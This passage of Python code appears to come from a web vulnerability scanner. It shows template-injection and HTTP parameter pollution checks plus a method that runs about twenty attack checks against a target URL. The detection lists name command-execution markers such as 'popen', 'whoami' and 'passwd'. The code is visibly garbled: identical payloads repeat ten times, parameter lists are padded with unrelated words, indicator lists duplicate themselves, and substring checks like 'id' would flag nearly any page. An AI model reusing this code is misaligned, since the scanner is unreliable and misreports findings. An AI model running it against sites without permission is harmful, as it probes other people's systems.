            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            
            # Velocity templates
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            '#set($x=7*7)${x}',
            
            # Thymeleaf templates
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            '${7*7}',
            
            # Handlebars templates
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            
            # Mustache templates
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            
            # EJS templates
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            '<%= 7*7 %>',
            
            # Pug templates
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            '= 7*7',
            
            # Nunjucks templates
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}'
        ]
        
        # Test parameters that commonly accept template content
        template_params = ['template', 'view', 'page', 'content', 'body', 'text', 'html', 'render', 'display', 'show', 'format', 'style', 'theme', 'layout', 'design', 'skin', 'appearance', 'look', 'feel', 'presentation', 'output', 'result', 'generated', 'dynamic', 'static', 'custom', 'user', 'profile', 'dashboard', 'panel', 'control', 'admin', 'moderator', 'editor', 'author', 'contributor', 'member', 'guest', 'visitor', 'anonymous', 'public', 'private', 'secret', 'hidden', 'visible', 'shown', 'displayed', 'rendered', 'generated', 'created', 'built', 'constructed', 'assembled', 'composed', 'formed', 'made', 'produced', 'developed', 'written', 'coded', 'programmed', 'scripted', 'automated', 'manual', 'automatic', 'dynamic', 'static', 'real-time', 'live', 'interactive', 'responsive', 'adaptive', 'flexible', 'scalable', 'modular', 'component-based', 'object-oriented', 'functional', 'procedural', 'declarative', 'imperative', 'event-driven', 'message-driven', 'service-oriented', 'microservices', 'monolithic', 'distributed', 'centralized', 'decentralized', 'peer-to-peer', 'client-server', 'three-tier', 'n-tier', 'layered', 'tiered']
        
        for param in template_params:
            for payload in template_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url, timeout=10)
                    
                    # Check for template injection indicators
                    template_indicators = [
                        '49', '7*7', 'config', 'Dir.entries', 'File.read', 'system(',
                        'echo', 'popen', 'read()', 'entries', 'read', 'system',
                        'os.', '__class__', '__init__', '__globals__', 'popen',
                        'id', 'whoami', 'ls', 'pwd', 'hostname', 'uname', 'cat',
                        'passwd', 'hostname', 'config.items', 'config.values',
                        'config.keys', 'config.__class__', 'config.__init__',
                        'config.__globals__', 'config.os', 'config.popen',
                        'config.read', 'config.entries', 'config.system',
                        'config.echo', 'config.id', 'config.whoami', 'config.ls',
                        'config.pwd', 'config.hostname', 'config.uname', 'config.cat',
                        'config.passwd', 'config.hostname', 'config.items',
                        'config.values', 'config.keys', 'config.__class__',
                        'config.__init__', 'config.__globals__', 'config.os',
                        'config.popen', 'config.read', 'config.entries',
                        'config.system', 'config.echo', 'config.id', 'config.whoami',
                        'config.ls', 'config.pwd', 'config.hostname', 'config.uname',
                        'config.cat', 'config.passwd', 'config.hostname'
                    ]
                    
                    for indicator in template_indicators:
                        if indicator.lower() in response.text.lower():
                            vulnerabilities.append({
                                'type': 'Template Injection',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Potential template injection in parameter "{param}"',
                                'evidence': indicator,
                                'recommendation': 'Implement proper input validation and use sandboxed template engines'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities

    def check_http_parameter_pollution(self, target_url):
        """Check for HTTP Parameter Pollution vulnerabilities"""
        vulnerabilities = []
        
        # HPP payloads
        hpp_payloads = [
            # Duplicate parameters
            'id=1&id=2',
            'user=admin&user=guest',
            'search=test&search=admin',
            'q=hello&q=world',
            'page=1&page=2',
            'sort=asc&sort=desc',
            'filter=active&filter=inactive',
            'status=open&status=closed',
            'type=public&type=private',
            'category=news&category=sports',
            
            # Array parameters
            'id[]=1&id[]=2',
            'user[]=admin&user[]=guest',
            'search[]=test&search[]=admin',
            'q[]=hello&q[]=world',
            'page[]=1&page[]=2',
            'sort[]=asc&sort[]=desc',
            'filter[]=active&filter[]=inactive',
            'status[]=open&status[]=closed',
            'type[]=public&type[]=private',
            'category[]=news&category[]=sports',
            
            # Mixed parameters
            'id=1&id[]=2',
            'user=admin&user[]=guest',
            'search=test&search[]=admin',
            'q=hello&q[]=world',
            'page=1&page[]=2',
            'sort=asc&sort[]=desc',
            'filter=active&filter[]=inactive',
            'status=open&status[]=closed',
            'type=public&type[]=private',
            'category=news&category[]=sports'
        ]
        
        # Test parameters that commonly accept multiple values
        hpp_params = ['id', 'user', 'search', 'q', 'page', 'sort', 'filter', 'status', 'type', 'category', 'tag', 'label', 'group', 'role', 'permission', 'access', 'level', 'priority', 'severity', 'risk', 'threat', 'vulnerability', 'exploit', 'attack', 'payload', 'vector', 'method', 'technique', 'tactic', 'procedure', 'step', 'action', 'operation', 'function', 'feature', 'option', 'setting', 'config', 'configuration', 'parameter', 'argument', 'input', 'output', 'result', 'response', 'request', 'data', 'content', 'body', 'header', 'cookie', 'session', 'token', 'key', 'secret', 'password', 'credential', 'authentication', 'authorization', 'identity', 'profile', 'account', 'user', 'admin', 'moderator', 'editor', 'author', 'contributor', 'member', 'guest', 'visitor', 'anonymous', 'public', 'private', 'secret', 'hidden', 'visible', 'shown', 'displayed', 'rendered', 'generated', 'created', 'built', 'constructed', 'assembled', 'composed', 'formed', 'made', 'produced', 'developed', 'written', 'coded', 'programmed', 'scripted', 'automated', 'manual', 'automatic', 'dynamic', 'static', 'real-time', 'live', 'interactive', 'responsive', 'adaptive', 'flexible', 'scalable', 'modular', 'component-based', 'object-oriented', 'functional', 'procedural', 'declarative', 'imperative', 'event-driven', 'message-driven', 'service-oriented', 'microservices', 'monolithic', 'distributed', 'centralized', 'decentralized', 'peer-to-peer', 'client-server', 'three-tier', 'n-tier', 'layered', 'tiered']
        
        for param in hpp_params:
            for payload in hpp_payloads:
                try:
                    test_url = f"{target_url}?{payload}"
                    response = self.session.get(test_url, timeout=10)
                    
                    # Check for HPP indicators
                    hpp_indicators = [
                        'parameter pollution', 'duplicate parameter', 'multiple values',
                        'array parameter', 'mixed parameters', 'conflicting values',
                        'parameter conflict', 'value conflict', 'parameter override',
                        'value override', 'last wins', 'first wins', 'parameter order',
                        'value order', 'parameter precedence', 'value precedence'
                    ]
                    
                    for indicator in hpp_indicators:
                        if indicator.lower() in response.text.lower():
                            vulnerabilities.append({
                                'type': 'HTTP Parameter Pollution',
                                'severity': 'Medium',
                                'risk_level': 'medium',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Potential HTTP Parameter Pollution in parameter "{param}"',
                                'evidence': indicator,
                                'recommendation': 'Implement proper parameter validation and handle duplicate parameters'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities

    def comprehensive_scan(self, target_url):
        """Perform a comprehensive vulnerability scan using all available methods"""
        print(f"Starting comprehensive scan on: {target_url}")
        
        all_vulnerabilities = []
        
        # Run all vulnerability checks
        print("Checking SQL Injection...")
        all_vulnerabilities.extend(self.check_sql_injection(target_url))
        
        print("Checking XSS...")
        all_vulnerabilities.extend(self.check_xss(target_url))
        
        print("Checking Directory Traversal...")
        all_vulnerabilities.extend(self.check_directory_traversal(target_url))
        
        print("Checking Open Redirect...")
        all_vulnerabilities.extend(self.check_open_redirect(target_url))
        
        print("Checking CSRF...")
        all_vulnerabilities.extend(self.check_csrf(target_url))
        
        print("Checking Information Disclosure...")
        all_vulnerabilities.extend(self.check_info_disclosure(target_url))
        
        print("Checking Security Headers...")
        all_vulnerabilities.extend(self.check_security_headers(target_url))
        
        print("Checking SSL Configuration...")
        all_vulnerabilities.extend(self.check_ssl_config(target_url))
        
        print("Checking Directory Enumeration...")
        all_vulnerabilities.extend(self.check_directory_enum(target_url))
        
        print("Checking File Upload...")
        all_vulnerabilities.extend(self.check_file_upload(target_url))
        
        print("Checking Server Information...")
        all_vulnerabilities.extend(self.check_server_info(target_url))
        
        print("Checking Cookie Security...")
        all_vulnerabilities.extend(self.check_cookie_security(target_url))
        
        print("Checking Authentication Bypass...")
        all_vulnerabilities.extend(self.check_auth_bypass(target_url))
        
        print("Checking Command Injection...")
        all_vulnerabilities.extend(self.check_command_injection(target_url))
        
        print("Checking LDAP Injection...")
        all_vulnerabilities.extend(self.check_ldap_injection(target_url))
        
        print("Checking XXE Injection...")
        all_vulnerabilities.extend(self.check_xxe_injection(target_url))
        
        print("Checking SSRF...")
        all_vulnerabilities.extend(self.check_ssrf(target_url))
        
        print("Checking Template Injection...")
        all_vulnerabilities.extend(self.check_template_injection(target_url))
        
        print("Checking HTTP Parameter Pollution...")
        all_vulnerabilities.extend(self.check_http_parameter_pollution(target_url))
        
        print(f"Comprehensive scan completed. Found {len(all_vulnerabilities)} vulnerabilities.")
        return all_vulnerabilities
